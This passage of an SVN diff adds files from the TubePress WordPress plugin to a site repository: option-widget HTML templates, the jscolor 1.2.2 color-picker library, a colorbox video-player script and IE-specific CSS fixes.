MVMNFHTr1NIAjMaYDlM1Wf9oEr4=-----END PKCS7-----">
+    </form>
+</div>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/options_page/html_templates/options_widgets.tpl.html
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/options_page/html_templates/options_widgets.tpl.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/options_page/html_templates/options_widgets.tpl.html	(revision 44)
@@ -0,0 +1,21 @@
+<!-- BEGIN galleryType -->
+<input type="radio" name="mode" id="{OPTION_NAME}" value="{OPTION_NAME}" {OPTION_SELECTED} />
+<!-- END galleryType -->
+
+<!-- BEGIN text -->
+<input type="text" name="{OPTION_NAME}" size="20" value="{OPTION_VALUE}" />
+<!-- END text -->
+
+<!-- BEGIN color -->
+<input type="text" name="{OPTION_NAME}" size="6" class="color" value="{OPTION_VALUE}" />
+<!-- END color -->
+
+<!-- BEGIN menu -->
+<select name="{OPTION_NAME}">
+	<!-- BEGIN menuItem --><option value="{MENU_ITEM_VALUE}" {OPTION_SELECTED}>{MENU_ITEM_TITLE}</option><!-- END menuItem -->
+</select> 
+<!-- END menu -->
+
+<!-- BEGIN checkbox -->
+<input type="checkbox" name="{OPTION_NAME}" value="{OPTION_NAME}" {OPTION_SELECTED} />
+<!-- END checkbox -->
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/options_page/js/jscolor/jscolor.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/options_page/js/jscolor/jscolor.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/options_page/js/jscolor/jscolor.js	(revision 44)
@@ -0,0 +1,829 @@
+/**
+ * jscolor, JavaScript Color Picker
+ *
+ * @version 1.2.2
+ * @license http://www.gnu.org/copyleft/lesser.html  GNU Lesser General Public License
+ * @author  Honza Odvarko <honza@odvarko.cz>
+ * @created 2008-06-15
+ * @updated 2009-02-03
+ * @link    http://jscolor.com
+ */
+
+
+var jscolor = {
+
+
+	dir : '', // location of jscolor directory (leave empty to autodetect)
+	bindClass : 'color', // class name
+	binding : true, // automatic binding via <input class="...">
+	preloading : true, // use image preloading?
+
+
+	install : function() {
+		jscolor.addEvent(window, 'load', jscolor.init)
+	},
+
+
+	init : function() {
+		if(jscolor.binding) {
+			jscolor.bind()
+		}
+		if(jscolor.preloading) {
+			jscolor.preload()
+		}
+	},
+
+
+	getDir : function() {
+		if(!jscolor.dir) {
+			var detected = jscolor.detectDir()
+			jscolor.dir = detected!=false ? detected : 'jscolor/'
+		}
+		return jscolor.dir
+	},
+
+
+	detectDir : function() {
+		var base = location.href
+
+		var e = document.getElementsByTagName('base')
+		for(var i=0; i<e.length; i++) {
+			if(e[i].href) base = e[i].href
+		}
+
+		var e = document.getElementsByTagName('script')
+		for(var i=0; i<e.length; i++) {
+			if(e[i].src && /(^|\/)jscolor\.js([?#].*)?$/i.test(e[i].src)) {
+				var src = new jscolor.URI(e[i].src)
+				var srcAbs = src.toAbsolute(base)
+				srcAbs.path = srcAbs.path.replace(/[^\/]+$/, '') // remove filename
+				delete srcAbs.query
+				delete srcAbs.fragment
+				return srcAbs.toString()
+			}
+		}
+		return false
+	},
+
+
+	bind : function() {
+		var matchClass = new RegExp('(^|\\s)('+jscolor.bindClass+')\\s*(\\{[^}]*\\})?', 'i')
+		var e = document.getElementsByTagName('input')
+		for(var i=0; i<e.length; i++) {
+			var m
+			if(!e[i].color && e[i].className && (m = e[i].className.match(matchClass))) {
+				var prop = {}
+				if(m[3]) {
+					try {
+						eval('prop='+m[3])
+					} catch(eInvalidProp) {}
+				}
+				e[i].color = new jscolor.color(e[i], prop)
+			}
+		}
+	},
+
+
+	preload : function() {
+		for(var fn in jscolor.imgRequire) {
+			jscolor.loadImage(fn)
+		}
+	},
+
+
+	images : {
+		pad : [ 181, 101 ],
+		sld : [ 16, 101 ],
+		cross : [ 15, 15 ],
+		arrow : [ 7, 11 ]
+	},
+
+
+	imgRequire : {},
+	imgLoaded : {},
+
+
+	requireImage : function(filename) {
+		jscolor.imgRequire[filename] = true
+	},
+
+
+	loadImage : function(filename) {
+		if(!jscolor.imgLoaded[filename]) {
+			jscolor.imgLoaded[filename] = new Image()
+			jscolor.imgLoaded[filename].src = jscolor.getDir()+filename
+		}
+	},
+
+
+	fetchElement : function(mixed) {
+		return typeof(mixed) == 'string' ? document.getElementById(mixed) : mixed
+	},
+
+
+	addEvent : function(el, evnt, func) {
+		if(el.addEventListener) {
+			return el.addEventListener(evnt, func, false)
+		} else if(el.attachEvent) {
+			return el.attachEvent('on'+evnt, func)
+		} else {
+			return false
+		}
+	},
+
+
+	fireEvent : function(el, evnt) {
+		if(!el) {
+			return false
+		} else if(document.createEventObject) {
+			var ev = document.createEventObject()
+			return el.fireEvent('on'+evnt, ev)
+		} else if(document.createEvent) {
+			var ev = document.createEvent('HTMLEvents')
+			ev.initEvent(evnt, true, true)
+			return el.dispatchEvent(ev)
+		} else if(el['on'+evnt]) { // alternatively use the traditional event model (IE5)
+			return el['on'+evnt]()
+		} else {
+			return false
+		}
+	},
+
+
+	getElementPos : function(e) {
+		var e1=e, e2=e
+		var x=0, y=0
+		if(e1.offsetParent) {
+			do {
+				x += e1.offsetLeft
+				y += e1.offsetTop
+			} while(e1 = e1.offsetParent)
+		}
+		while((e2 = e2.parentNode) && e2.nodeName != 'BODY') {
+			x -= e2.scrollLeft
+			y -= e2.scrollTop
+		}
+		return [x, y]
+	},
+
+
+	getElementSize : function(e) {
+		return [e.offsetWidth, e.offsetHeight]
+	},
+
+
+	getMousePos : function(e) {
+		if(!e) e = window.event
+		if(typeof e.pageX == 'number') {
+			return [e.pageX, e.pageY]
+		} else if(typeof e.clientX == 'number') {
+			return [
+				e.clientX + document.body.scrollLeft + document.documentElement.scrollLeft,
+				e.clientY + document.body.scrollTop + document.documentElement.scrollTop
+			]
+		}
+	},
+
+
+	getViewPos : function() {
+		if(typeof window.pageYOffset == 'number') {
+			return [window.pageXOffset, window.pageYOffset]
+		} else if(document.body && (document.body.scrollLeft || document.body.scrollTop)) {
+			return [document.body.scrollLeft, document.body.scrollTop]
+		} else if(document.documentElement && (document.documentElement.scrollLeft || document.documentElement.scrollTop)) {
+			return [document.documentElement.scrollLeft, document.documentElement.scrollTop]
+		} else {
+			return [0, 0]
+		}
+	},
+
+
+	getViewSize : function() {
+		if(typeof window.innerWidth == 'number') {
+			return [window.innerWidth, window.innerHeight]
+		} else if(document.body && (document.body.clientWidth || document.body.clientHeight)) {
+			return [document.body.clientWidth, document.body.clientHeight]
+		} else if(document.documentElement && (document.documentElement.clientWidth || document.documentElement.clientHeight)) {
+			return [document.documentElement.clientWidth, document.documentElement.clientHeight]
+		} else {
+			return [0, 0]
+		}
+	},
+
+
+	URI : function(uri) { // See RFC3986
+
+		this.scheme = null
+		this.authority = null
+		this.path = ''
+		this.query = null
+		this.fragment = null
+
+		this.parse = function(uri) {
+			var m = uri.match(/^(([A-Za-z][0-9A-Za-z+.-]*)(:))?((\/\/)([^\/?#]*))?([^?#]*)((\?)([^#]*))?((#)(.*))?/)
+			this.scheme = m[3] ? m[2] : null
+			this.authority = m[5] ? m[6] : null
+			this.path = m[7]
+			this.query = m[9] ? m[10] : null
+			this.fragment = m[12] ? m[13] : null
+			return this
+		}
+
+		this.toString = function() {
+			var result = ''
+			if(this.scheme != null) result = result + this.scheme + ':'
+			if(this.authority != null) result = result + '//' + this.authority
+			if(this.path != null) result = result + this.path
+			if(this.query != null) result = result + '?' + this.query
+			if(this.fragment != null) result = result + '#' + this.fragment
+			return result
+		}
+
+		this.toAbsolute = function(base) {
+			var base = new jscolor.URI(base)
+			var r = this
+			var t = new jscolor.URI
+
+			if(base.scheme == null) return false
+
+			if(r.scheme != null && r.scheme.toLowerCase() == base.scheme.toLowerCase()) {
+				r.scheme = null
+			}
+
+			if(r.scheme != null) {
+				t.scheme = r.scheme
+				t.authority = r.authority
+				t.path = removeDotSegments(r.path)
+				t.query = r.query
+			} else {
+				if(r.authority != null) {
+					t.authority = r.authority
+					t.path = removeDotSegments(r.path)
+					t.query = r.query
+				} else {
+					if(r.path == '') {
+						t.path = base.path
+						if(r.query != null) {
+							t.query = r.query
+						} else {
+							t.query = base.query
+						}
+					} else {
+						if(r.path.substr(0,1) == '/') {
+							t.path = removeDotSegments(r.path)
+						} else {
+							if(base.authority != null && base.path == '') {
+								t.path = '/'+r.path
+							} else {
+								t.path = base.path.replace(/[^\/]+$/,'')+r.path
+							}
+							t.path = removeDotSegments(t.path)
+						}
+						t.query = r.query
+					}
+					t.authority = base.authority
+				}
+				t.scheme = base.scheme
+			}
+			t.fragment = r.fragment
+
+			return t
+		}
+
+		function removeDotSegments(path) {
+			var out = ''
+			while(path) {
+				if(path.substr(0,3)=='../' || path.substr(0,2)=='./') {
+					path = path.replace(/^\.+/,'').substr(1)
+				} else if(path.substr(0,3)=='/./' || path=='/.') {
+					path = '/'+path.substr(3)
+				} else if(path.substr(0,4)=='/../' || path=='/..') {
+					path = '/'+path.substr(4)
+					out = out.replace(/\/?[^\/]*$/, '')
+				} else if(path=='.' || path=='..') {
+					path = ''
+				} else {
+					var rm = path.match(/^\/?[^\/]*/)[0]
+					path = path.substr(rm.length)
+					out = out + rm
+				}
+			}
+			return out
+		}
+
+		if(uri) {
+			this.parse(uri)
+		}
+
+	},
+
+
+	/*
+	 * Usage example:
+	 * var myColor = new jscolor.color(myInputElement)
+	 */
+
+	color : function(target, prop) {
+
+
+		this.required = true // refuse empty values?
+		this.adjust = true // adjust value to uniform notation?
+		this.hash = false // prefix color with # symbol?
+		this.caps = true // uppercase?
+		this.valueElement = target // value holder
+		this.styleElement = target // where to reflect current color
+		this.hsv = [0, 0, 1] // read-only  0-6, 0-1, 0-1
+		this.rgb = [1, 1, 1] // read-only  0-1, 0-1, 0-1
+
+		this.pickerOnfocus = true // display picker on focus?
+		this.pickerMode = 'HSV' // HSV | HVS
+		this.pickerPosition = 'bottom' // left | right | top | bottom
+		this.pickerFace = 10 // px
+		this.pickerFaceColor = 'ThreeDFace' // CSS color
+		this.pickerBorder = 1 // px
+		this.pickerBorderColor = 'ThreeDHighlight ThreeDShadow ThreeDShadow ThreeDHighlight' // CSS color
+		this.pickerInset = 1 // px
+		this.pickerInsetColor = 'ThreeDShadow ThreeDHighlight ThreeDHighlight ThreeDShadow' // CSS color
+		this.pickerZIndex = 10000
+
+
+		for(var p in prop) this[p] = prop[p]
+
+
+		this.hidePicker = function() {
+			if(isPickerOwner()) {
+				removePicker()
+			}
+		}
+
+
+		this.showPicker = function() {
+			if(!isPickerOwner()) {
+				var tp = jscolor.getElementPos(target) // target pos
+				var ts = jscolor.getElementSize(target) // target size
+				var vp = jscolor.getViewPos() // view pos
+				var vs = jscolor.getViewSize() // view size
+				var ps = [ // picker size
+					2*this.pickerBorder + 4*this.pickerInset + 2*this.pickerFace + jscolor.images.pad[0] + 2*jscolor.images.arrow[1] + jscolor.images.sld[0],
+					2*this.pickerBorder + 2*this.pickerInset + 2*this.pickerFace + jscolor.images.pad[1]
+				]
+				var a, b, c
+				switch(this.pickerPosition.toLowerCase()) {
+					case 'left': a=1; b=0; c=-1; break
+					case 'right':a=1; b=0; c=1; break
+					case 'top':  a=0; b=1; c=-1; break
+					default:     a=0; b=1; c=1; break
+				}
+				var l = (ts[b]+ps[b])/2
+				var pp = [ // picker pos
+					-vp[a]+tp[a]+ps[a] > vs[a] ?
+						(-vp[a]+tp[a]+ts[a]/2 > vs[a]/2 && tp[a]+ts[a]-ps[a] >= 0 ? tp[a]+ts[a]-ps[a] : tp[a]) : tp[a],
+					-vp[b]+tp[b]+ts[b]+ps[b]-l+l*c > vs[b] ?
+						(-vp[b]+tp[b]+ts[b]/2 > vs[b]/2 && tp[b]+ts[b]-l-l*c >= 0 ? tp[b]+ts[b]-l-l*c : tp[b]+ts[b]-l+l*c) :
+						(tp[b]+ts[b]-l+l*c >= 0 ? tp[b]+ts[b]-l+l*c : tp[b]+ts[b]-l-l*c)
+				]
+				drawPicker(pp[a], pp[b])
+			}
+		}
+
+
+		this.importColor = function() {
+			if(!valueElement) {
+				this.exportColor()
+			} else {
+				if(!this.adjust) {
+					if(!this.fromString(valueElement.value, leaveValue)) {
+						styleElement.style.backgroundColor = styleElement.jscStyle.backgroundColor
+						styleElement.style.color = styleElement.jscStyle.color
+						this.exportColor(leaveValue | leaveStyle)
+					}
+				} else if(!this.required && /^\s*$/.test(valueElement.value)) {
+					valueElement.value = ''
+					styleElement.style.backgroundColor = styleElement.jscStyle.backgroundColor
+					styleElement.style.color = styleElement.jscStyle.color
+					this.exportColor(leaveValue | leaveStyle)
+
+				} else if(this.fromString(valueElement.value)) {
+					// OK
+				} else {
+					this.exportColor()
+				}
+			}
+		}
+
+
+		this.exportColor = function(flags) {
+			if(!(flags & leaveValue) && valueElement) {
+				var value = this.toString()
+				if(this.caps) value = value.toUpperCase()
+				if(this.hash) value = '#'+value
+				valueElement.value = value
+			}
+			if(!(flags & leaveStyle) && styleElement) {
+				styleElement.style.backgroundColor = '#'+this.toString()
+				styleElement.style.color =
+					0.213 * this.rgb[0] +
+					0.715 * this.rgb[1] +
+					0.072 * this.rgb[2]
+					< 0.5 ? '#FFF' : '#000'
+			}
+			if(!(flags & leavePad) && isPickerOwner()) {
+				redrawPad()
+			}
+			if(!(flags & leaveSld) && isPickerOwner()) {
+				redrawSld()
+			}
+		}
+
+
+		this.fromHSV = function(h, s, v, flags) { // null = don't change
+			h<0 && (h=0) || h>6 && (h=6)
+			s<0 && (s=0) || s>1 && (s=1)
+			v<0 && (v=0) || v>1 && (v=1)
+			this.rgb = HSV_RGB(
+				h==null ? this.hsv[0] : (this.hsv[0]=h),
+				s==null ? this.hsv[1] : (this.hsv[1]=s),
+				v==null ? this.hsv[2] : (this.hsv[2]=v)
+			)
+			this.exportColor(flags)
+		}
+
+
+		this.fromRGB = function(r, g, b, flags) { // null = don't change
+			r<0 && (r=0) || r>1 && (r=1)
+			g<0 && (g=0) || g>1 && (g=1)
+			b<0 && (b=0) || b>1 && (b=1)
+			var hsv = RGB_HSV(
+				r==null ? this.rgb[0] : (this.rgb[0]=r),
+				g==null ? this.rgb[1] : (this.rgb[1]=g),
+				b==null ? this.rgb[2] : (this.rgb[2]=b)
+			)
+			if(hsv[0] != null) {
+				this.hsv[0] = hsv[0]
+			}
+			if(hsv[2] != 0) {
+				this.hsv[1] = hsv[1]
+			}
+			this.hsv[2] = hsv[2]
+			this.exportColor(flags)
+		}
+
+
+		this.fromString = function(hex, flags) {
+			var m = hex.match(/^\W*([0-9A-F]{3}([0-9A-F]{3})?)\W*$/i)
+			if(!m) {
+				return false
+			} else {
+				if(m[1].length == 6) { // 6-char notation
+					this.fromRGB(
+						parseInt(m[1].substr(0,2),16) / 255,
+						parseInt(m[1].substr(2,2),16) / 255,
+						parseInt(m[1].substr(4,2),16) / 255,
+						flags
+					)
+				} else { // 3-char notation
+					this.fromRGB(
+						parseInt(m[1].charAt(0)+m[1].charAt(0),16) / 255,
+						parseInt(m[1].charAt(1)+m[1].charAt(1),16) / 255,
+						parseInt(m[1].charAt(2)+m[1].charAt(2),16) / 255,
+						flags
+					)
+				}
+				return true
+			}
+		}
+
+
+		this.toString = function() {
+			return (
+				(0x100 | Math.round(255*this.rgb[0])).toString(16).substr(1) +
+				(0x100 | Math.round(255*this.rgb[1])).toString(16).substr(1) +
+				(0x100 | Math.round(255*this.rgb[2])).toString(16).substr(1)
+			)
+		}
+
+
+		function RGB_HSV(r, g, b) {
+			var n = Math.min(Math.min(r,g),b)
+			var v = Math.max(Math.max(r,g),b)
+			var m = v - n
+			if(m == 0) return [ null, 0, v ]
+			var h = r==n ? 3+(b-g)/m : (g==n ? 5+(r-b)/m : 1+(g-r)/m)
+			return [ h==6?0:h, m/v, v ]
+		}
+
+
+		function HSV_RGB(h, s, v) {
+			if(h == null) return [ v, v, v ]
+			var i = Math.floor(h)
+			var f = i%2 ? h-i : 1-(h-i)
+			var m = v * (1 - s)
+			var n = v * (1 - s*f)
+			switch(i) {
+				case 6:
+				case 0: return [v,n,m]
+				case 1: return [n,v,m]
+				case 2: return [m,v,n]
+				case 3: return [m,n,v]
+				case 4: return [n,m,v]
+				case 5: return [v,m,n]
+			}
+		}
+
+
+		function removePicker() {
+			delete jscolor.picker.owner
+			document.getElementsByTagName('body')[0].removeChild(jscolor.picker.boxB)
+		}
+
+
+		function drawPicker(x, y) {
+			if(!jscolor.picker) {
+				jscolor.picker = {
+					box : document.createElement('div'),
+					boxB : document.createElement('div'),
+					pad : document.createElement('div'),
+					padB : document.createElement('div'),
+					padM : document.createElement('div'),
+					sld : document.createElement('div'),
+					sldB : document.createElement('div'),
+					sldM : document.createElement('div')
+				}
+				for(var i=0,segSize=4; i<jscolor.images.sld[1]; i+=segSize) {
+					var seg = document.createElement('div')
+					seg.style.height = segSize+'px'
+					seg.style.fontSize = '1px'
+					seg.style.lineHeight = '0'
+					jscolor.picker.sld.appendChild(seg)
+				}
+				jscolor.picker.sldB.appendChild(jscolor.picker.sld)
+				jscolor.picker.box.appendChild(jscolor.picker.sldB)
+				jscolor.picker.box.appendChild(jscolor.picker.sldM)
+				jscolor.picker.padB.appendChild(jscolor.picker.pad)
+				jscolor.picker.box.appendChild(jscolor.picker.padB)
+				jscolor.picker.box.appendChild(jscolor.picker.padM)
+				jscolor.picker.boxB.appendChild(jscolor.picker.box)
+			}
+
+			var p = jscolor.picker
+
+			// recompute controls positions
+			posPad = [
+				x+THIS.pickerBorder+THIS.pickerFace+THIS.pickerInset,
+				y+THIS.pickerBorder+THIS.pickerFace+THIS.pickerInset ]
+			posSld = [
+				null,
+				y+THIS.pickerBorder+THIS.pickerFace+THIS.pickerInset ]
+
+			// controls interaction
+			p.box.onmouseup =
+			p.box.onmouseout = function() { target.focus() }
+			p.box.onmousedown = function() { abortBlur=true }
+			p.box.onmousemove = function(e) { holdPad && setPad(e); holdSld && setSld(e) }
+			p.padM.onmouseup =
+			p.padM.onmouseout = function() { if(holdPad) { holdPad=false; jscolor.fireEvent(valueElement,'change') } }
+			p.padM.onmousedown = function(e) { holdPad=true; setPad(e) }
+			p.sldM.onmouseup =
+			p.sldM.onmouseout = function() { if(holdSld) { holdSld=false; jscolor.fireEvent(valueElement,'change') } }
+			p.sldM.onmousedown = function(e) { holdSld=true; setSld(e) }
+
+			// picker
+			p.box.style.width = 4*THIS.pickerInset + 2*THIS.pickerFace + jscolor.images.pad[0] + 2*jscolor.images.arrow[0] + jscolor.images.sld[0] + 'px'
+			p.box.style.height = 2*THIS.pickerInset + 2*THIS.pickerFace + jscolor.images.pad[1] + 'px'
+
+			// picker border
+			p.boxB.style.position = 'absolute'
+			p.boxB.style.clear = 'both'
+			p.boxB.style.left = x+'px'
+			p.boxB.style.top = y+'px'
+			p.boxB.style.zIndex = THIS.pickerZIndex
+			p.boxB.style.border = THIS.pickerBorder+'px solid'
+			p.boxB.style.borderColor = THIS.pickerBorderColor
+			p.boxB.style.background = THIS.pickerFaceColor
+
+			// pad image
+			p.pad.style.width = jscolor.images.pad[0]+'px'
+			p.pad.style.height = jscolor.images.pad[1]+'px'
+
+			// pad border
+			p.padB.style.position = 'absolute'
+			p.padB.style.left = THIS.pickerFace+'px'
+			p.padB.style.top = THIS.pickerFace+'px'
+			p.padB.style.border = THIS.pickerInset+'px solid'
+			p.padB.style.borderColor = THIS.pickerInsetColor
+
+			// pad mouse area
+			p.padM.style.position = 'absolute'
+			p.padM.style.left = '0'
+			p.padM.style.top = '0'
+			p.padM.style.width = THIS.pickerFace + 2*THIS.pickerInset + jscolor.images.pad[0] + jscolor.images.arrow[0] + 'px'
+			p.padM.style.height = p.box.style.height
+			p.padM.style.cursor = 'crosshair'
+
+			// slider image
+			p.sld.style.overflow = 'hidden'
+			p.sld.style.width = jscolor.images.sld[0]+'px'
+			p.sld.style.height = jscolor.images.sld[1]+'px'
+
+			// slider border
+			p.sldB.style.position = 'absolute'
+			p.sldB.style.right = THIS.pickerFace+'px'
+			p.sldB.style.top = THIS.pickerFace+'px'
+			p.sldB.style.border = THIS.pickerInset+'px solid'
+			p.sldB.style.borderColor = THIS.pickerInsetColor
+
+			// slider mouse area
+			p.sldM.style.position = 'absolute'
+			p.sldM.style.right = '0'
+			p.sldM.style.top = '0'
+			p.sldM.style.width = jscolor.images.sld[0] + jscolor.images.arrow[0] + THIS.pickerFace + 2*THIS.pickerInset + 'px'
+			p.sldM.style.height = p.box.style.height
+			try {
+				p.sldM.style.cursor = 'pointer'
+			} catch(eOldIE) {
+				p.sldM.style.cursor = 'hand'
+			}
+
+			// load images in optimal order
+			switch(modeID) {
+				case 0: var padImg = 'hs.png'; break
+				case 1: var padImg = 'hv.png'; break
+			}
+			p.padM.style.background = "url('"+jscolor.getDir()+"cross.gif') no-repeat"
+			p.sldM.style.background = "url('"+jscolor.getDir()+"arrow.gif') no-repeat"
+			p.pad.style.background = "url('"+jscolor.getDir()+padImg+"') 0 0 no-repeat"
+
+			// place pointers
+			redrawPad()
+			redrawSld()
+
+			jscolor.picker.owner = THIS
+			document.getElementsByTagName('body')[0].appendChild(p.boxB)
+		}
+
+
+		function redrawPad() {
+			// redraw the pad pointer
+			switch(modeID) {
+				case 0: var yComponent = 1; break
+				case 1: var yComponent = 2; break
+			}
+			var x = Math.round((THIS.hsv[0]/6) * (jscolor.images.pad[0]-1))
+			var y = Math.round((1-THIS.hsv[yComponent]) * (jscolor.images.pad[1]-1))
+			jscolor.picker.padM.style.backgroundPosition =
+				(THIS.pickerFace+THIS.pickerInset+x - Math.floor(jscolor.images.cross[0]/2)) + 'px ' +
+				(THIS.pickerFace+THIS.pickerInset+y - Math.floor(jscolor.images.cross[1]/2)) + 'px'
+
+			// redraw the slider image
+			var seg = jscolor.picker.sld.childNodes
+
+			switch(modeID) {
+				case 0:
+					var rgb = HSV_RGB(THIS.hsv[0], THIS.hsv[1], 1)
+					for(var i=0; i<seg.length; i++) {
+						seg[i].style.backgroundColor = 'rgb('+
+							(rgb[0]*(1-i/seg.length)*100)+'%,'+
+							(rgb[1]*(1-i/seg.length)*100)+'%,'+
+							(rgb[2]*(1-i/seg.length)*100)+'%)'
+					}
+					break
+				case 1:
+					var rgb, s, c = [ THIS.hsv[2], 0, 0 ]
+					var i = Math.floor(THIS.hsv[0])
+					var f = i%2 ? THIS.hsv[0]-i : 1-(THIS.hsv[0]-i)
+					switch(i) {
+						case 6:
+						case 0: rgb=[0,1,2]; break
+						case 1: rgb=[1,0,2]; break
+						case 2: rgb=[2,0,1]; break
+						case 3: rgb=[2,1,0]; break
+						case 4: rgb=[1,2,0]; break
+						case 5: rgb=[0,2,1]; break
+					}
+					for(var i=0; i<seg.length; i++) {
+						s = 1 - 1/(seg.length-1)*i
+						c[1] = c[0] * (1 - s*f)
+						c[2] = c[0] * (1 - s)
+						seg[i].style.backgroundColor = 'rgb('+
+							(c[rgb[0]]*100)+'%,'+
+							(c[rgb[1]]*100)+'%,'+
+							(c[rgb[2]]*100)+'%)'
+					}
+					break
+			}
+		}
+
+
+		function redrawSld() {
+			// redraw the slider pointer
+			switch(modeID) {
+				case 0: var yComponent = 2; break
+				case 1: var yComponent = 1; break
+			}
+			var y = Math.round((1-THIS.hsv[yComponent]) * (jscolor.images.sld[1]-1))
+			jscolor.picker.sldM.style.backgroundPosition =
+				'0 ' + (THIS.pickerFace+THIS.pickerInset+y - Math.floor(jscolor.images.arrow[1]/2)) + 'px'
+		}
+
+
+		function isPickerOwner() {
+			return jscolor.picker && jscolor.picker.owner == THIS
+		}
+
+
+		function blurTarget() {
+			if(valueElement == target) THIS.importColor()
+			if(THIS.pickerOnfocus) THIS.hidePicker()
+		}
+
+
+		function blurValue() {
+			if(valueElement != target) THIS.importColor()
+		}
+
+
+		function setPad(e) {
+			var posM = jscolor.getMousePos(e)
+			var x = posM[0]-posPad[0]
+			var y = posM[1]-posPad[1]
+			switch(modeID) {
+				case 0: THIS.fromHSV(x*(6/(jscolor.images.pad[0]-1)), 1 - y/(jscolor.images.pad[1]-1), null, leaveSld); break
+				case 1: THIS.fromHSV(x*(6/(jscolor.images.pad[0]-1)), null, 1 - y/(jscolor.images.pad[1]-1), leaveSld); break
+			}
+		}
+
+
+		function setSld(e) {
+			var posM = jscolor.getMousePos(e)
+			var y = posM[1]-posPad[1]
+			switch(modeID) {
+				case 0: THIS.fromHSV(null, null, 1 - y/(jscolor.images.sld[1]-1), leavePad); break
+				case 1: THIS.fromHSV(null, 1 - y/(jscolor.images.sld[1]-1), null, leavePad); break
+			}
+		}
+
+
+		var THIS = this
+		var modeID = this.pickerMode.toLowerCase()=='hvs' ? 1 : 0
+		var abortBlur = false
+		var
+			valueElement = jscolor.fetchElement(this.valueElement),
+			styleElement = jscolor.fetchElement(this.styleElement)
+		var
+			holdPad = false,
+			holdSld = false
+		var
+			posPad,
+			posSld
+		var
+			leaveValue = 1<<0,
+			leaveStyle = 1<<1,
+			leavePad = 1<<2,
+			leaveSld = 1<<3
+
+		// target
+		jscolor.addEvent(target, 'focus', function() {
+			if(THIS.pickerOnfocus) THIS.showPicker()
+		})
+		jscolor.addEvent(target, 'blur', function() {
+			if(!abortBlur) {
+				setTimeout(function(){ abortBlur || blurTarget(); abortBlur=false }, 0)
+			} else {
+				abortBlur = false
+			}
+		})
+
+		// valueElement
+		if(valueElement) {
+			var updateField = function() {
+				THIS.fromString(valueElement.value, leaveValue)
+			}
+			jscolor.addEvent(valueElement, 'keyup', updateField)
+			jscolor.addEvent(valueElement, 'input', updateField)
+			jscolor.addEvent(valueElement, 'blur', blurValue)
+			valueElement.setAttribute('autocomplete', 'off')
+		}
+
+		// styleElement
+		if(styleElement) {
+			styleElement.jscStyle = {
+				backgroundColor : styleElement.style.backgroundColor,
+				color : styleElement.style.color
+			}
+		}
+
+		// require images
+		switch(modeID) {
+			case 0: jscolor.requireImage('hs.png'); break
+			case 1: jscolor.requireImage('hv.png'); break
+		}
+		jscolor.requireImage('cross.gif');
+		jscolor.requireImage('arrow.gif');
+
+		this.importColor()
+	}
+
+}
+
+
+jscolor.install()
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/colorbox/colorbox.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/colorbox/colorbox.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/colorbox/colorbox.js	(revision 44)
@@ -0,0 +1,35 @@
+function tubepress_colorbox_player(galleryId, videoId) {
+	return;
+	//colorbox({contentInline:"#tubepress_embedded_object_" + galleryId});
+}
+
+function tubepress_colorbox_player_init(baseUrl) {
+	var base = baseUrl + '/ui/players/colorbox/lib/';
+	//jQuery.include([base + 'colorbox.css', base + 'colorbox-custom.css']);
+	_tubepress_get_wait_call(base + 'jquery.colorbox.js',
+		function() { return typeof jQuery.fn.colorbox != 'undefined'; },
+		function() { _tubepress_colorbox_add_listeners(); }
+	);
+}
+
+function _tubepress_colorbox_add_listeners() {
+	jQuery("a[id^='tubepress_']").each(function () {
+		var rel_split    = jQuery(this).attr("rel").split("_");
+		var playerName   = rel_split[2];
+		if (playerName != 'colorbox') {
+			return;
+		}
+		var galleryId    	= rel_split[3];
+		var embeddedObject 	= jQuery('#tubepress_embedded_object_' + galleryId + ' > object');
+		var height = embeddedObject.css('height');
+		var width = embeddedObject.css('width');
+		jQuery(this).colorbox({
+			title			: 'poo',
+			preloading		: false,	
+			inline			:true, 
+			href			:"#tubepress_embedded_object_" + galleryId,
+			fixedWidth		: width,
+			fixedHeight		: height
+		});
+    });
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/colorbox/lib/colorbox-custom-ie.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/colorbox/lib/colorbox-custom-ie.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/colorbox/lib/colorbox-custom-ie.css	(revision 44)
@@ -0,0 +1,14 @@
+/*
+	The following fixes png-transparency for IE6.  
+	It is also necessary for png-transparency to cooperate with the fade transition in IE7 & IE8
+	Since this does not support background-positioning, it is incompatible with CSS sprites.  
+	Colorbox preloads the 'previous', 'next', 'close' hover-states to account for this.
+*/
+#borderTopLeft{background:transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src=images/borderTopLeft.png, sizingMethod='scale');}
+#borderTopCenter{background:transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src=images/borderTopCenter.png, sizingMethod='scale');}
+#borderTopRight{background:transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src=images/borderTopRight.png, sizingMethod='scale');}
+#borderBottomLeft{background:transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src=images/borderBottomLeft.png, sizingMethod='scale');}
+#borderBottomCenter{background:transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src=images/borderBottomCenter.png, sizingMethod='scale');}
+#borderBottomRight{background:transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src=images/borderBottomRight.png, sizingMethod='scale');}
+#borderMiddleLeft{background:transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src=images/borderMiddleLeft.png, sizingMethod='scale');}
+#borderMiddleRight{background:transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src=images/borderMiddleRight.png, sizingMethod='scale');}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/colorbox/lib/colorbox-custom.css
===================================================================
